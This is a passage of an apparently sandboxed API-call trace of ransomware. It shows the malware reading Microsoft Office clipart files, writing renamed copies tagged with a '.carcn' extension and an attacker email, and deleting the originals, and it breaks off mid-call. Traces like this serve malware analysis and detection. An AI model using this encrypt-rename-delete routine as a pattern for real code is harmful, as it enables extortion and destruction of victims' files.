lstrlenW (lpString=".jpg") returned 4 [0300.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.520] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.520] lstrlenW (lpString="DD01139_.WMF") returned 12 [0300.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.521] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3632) returned 1 [0300.521] CloseHandle (hObject=0x368) returned 1 [0300.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0300.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.522] GetLastError () returned 0x0 [0300.522] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe30, lpOverlapped=0x0) returned 1 [0300.523] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe40, lpOverlapped=0x0) returned 1 [0300.524] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.524] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.525] SetEndOfFile (hFile=0x388) returned 1 [0300.525] CloseHandle (hObject=0x388) returned 1 [0300.525] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.525] SetEndOfFile (hFile=0x368) returned 1 [0300.526] CloseHandle (hObject=0x368) returned 1 [0300.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0300.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.526] lstrlenW (lpString=".doc") returned 4 [0300.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.526] lstrlenW (lpString=".docx") returned 5 [0300.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.527] lstrlenW (lpString=".pdf") returned 4 [0300.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString=".xls") returned 4 [0300.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.527] lstrlenW (lpString=".xlsx") returned 5 [0300.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.527] lstrlenW (lpString=".ppt") returned 4 [0300.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString=".zip") returned 4 [0300.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.527] lstrlenW (lpString=".rar") returned 4 [0300.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString=".bz2") returned 4 [0300.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString=".7z") returned 3 [0300.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString=".dbf") returned 4 [0300.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString=".1cd") returned 4 [0300.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString=".jpg") returned 4 [0300.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.527] lstrlenW (lpString=".doc") returned 4 [0300.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString=".docx") returned 5 [0300.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.527] lstrlenW (lpString=".pdf") returned 4 [0300.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.527] lstrlenW (lpString=".xls") returned 4 [0300.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.528] lstrlenW (lpString=".xlsx") returned 5 [0300.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.528] lstrlenW (lpString=".ppt") returned 4 [0300.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.528] lstrlenW (lpString=".zip") returned 4 [0300.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.528] lstrlenW (lpString=".rar") returned 4 [0300.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.528] lstrlenW (lpString=".bz2") returned 4 [0300.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.528] lstrlenW (lpString=".7z") returned 3 [0300.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.528] lstrlenW (lpString=".dbf") returned 4 [0300.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.528] lstrlenW (lpString=".1cd") returned 4 [0300.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0300.528] lstrlenW (lpString=".jpg") returned 4 [0300.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.528] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.528] lstrlenW (lpString="DD01140_.WMF") returned 12 [0300.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.528] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3616) returned 1 [0300.529] CloseHandle (hObject=0x368) returned 1 [0300.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0300.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.529] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.529] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.530] GetLastError () returned 0x0 [0300.530] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe20, lpOverlapped=0x0) returned 1 [0300.530] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe30, lpOverlapped=0x0) returned 1 [0300.531] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.531] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.531] SetEndOfFile (hFile=0x388) returned 1 [0300.531] CloseHandle (hObject=0x388) returned 1 [0300.531] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.531] SetEndOfFile (hFile=0x368) returned 1 [0300.532] CloseHandle (hObject=0x368) returned 1 [0300.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString=".doc") returned 4 [0300.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString=".docx") returned 5 [0300.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.533] lstrlenW (lpString=".pdf") returned 4 [0300.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString=".xls") returned 4 [0300.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.533] lstrlenW (lpString=".xlsx") returned 5 [0300.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.533] lstrlenW (lpString=".ppt") returned 4 [0300.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString=".zip") returned 4 [0300.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.533] lstrlenW (lpString=".rar") returned 4 [0300.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString=".bz2") returned 4 [0300.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString=".7z") returned 3 [0300.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString=".dbf") returned 4 [0300.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString=".1cd") returned 4 [0300.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.533] lstrlenW (lpString=".jpg") returned 4 [0300.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString=".doc") returned 4 [0300.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString=".docx") returned 5 [0300.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.534] lstrlenW (lpString=".pdf") returned 4 [0300.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString=".xls") returned 4 [0300.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.534] lstrlenW (lpString=".xlsx") returned 5 [0300.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.534] lstrlenW (lpString=".ppt") returned 4 [0300.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString=".zip") returned 4 [0300.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.534] lstrlenW (lpString=".rar") returned 4 [0300.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString=".bz2") returned 4 [0300.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString=".7z") returned 3 [0300.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString=".dbf") returned 4 [0300.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString=".1cd") returned 4 [0300.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0300.534] lstrlenW (lpString=".jpg") returned 4 [0300.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.534] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.534] lstrlenW (lpString="DD01143_.WMF") returned 12 [0300.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.535] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2140) returned 1 [0300.535] CloseHandle (hObject=0x368) returned 1 [0300.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0300.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.535] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.535] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.536] GetLastError () returned 0x0 [0300.536] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x85c, lpOverlapped=0x0) returned 1 [0300.536] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x860, lpOverlapped=0x0) returned 1 [0300.537] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.537] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.537] SetEndOfFile (hFile=0x388) returned 1 [0300.537] CloseHandle (hObject=0x388) returned 1 [0300.538] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.538] SetEndOfFile (hFile=0x368) returned 1 [0301.035] CloseHandle (hObject=0x368) returned 1 [0301.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0301.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.036] lstrlenW (lpString=".doc") returned 4 [0301.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.036] lstrlenW (lpString=".docx") returned 5 [0301.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.036] lstrlenW (lpString=".pdf") returned 4 [0301.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.036] lstrlenW (lpString=".xls") returned 4 [0301.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.036] lstrlenW (lpString=".xlsx") returned 5 [0301.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.036] lstrlenW (lpString=".ppt") returned 4 [0301.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.036] lstrlenW (lpString=".zip") returned 4 [0301.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.036] lstrlenW (lpString=".rar") returned 4 [0301.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString=".bz2") returned 4 [0301.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString=".7z") returned 3 [0301.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString=".dbf") returned 4 [0301.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString=".1cd") returned 4 [0301.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString=".jpg") returned 4 [0301.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString=".doc") returned 4 [0301.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString=".docx") returned 5 [0301.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.037] lstrlenW (lpString=".pdf") returned 4 [0301.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString=".xls") returned 4 [0301.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.037] lstrlenW (lpString=".xlsx") returned 5 [0301.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.037] lstrlenW (lpString=".ppt") returned 4 [0301.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.037] lstrlenW (lpString=".zip") returned 4 [0301.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.037] lstrlenW (lpString=".rar") returned 4 [0301.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.038] lstrlenW (lpString=".bz2") returned 4 [0301.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.038] lstrlenW (lpString=".7z") returned 3 [0301.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.038] lstrlenW (lpString=".dbf") returned 4 [0301.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.038] lstrlenW (lpString=".1cd") returned 4 [0301.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0301.038] lstrlenW (lpString=".jpg") returned 4 [0301.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.038] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.038] lstrlenW (lpString="DD01172_.WMF") returned 12 [0301.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), 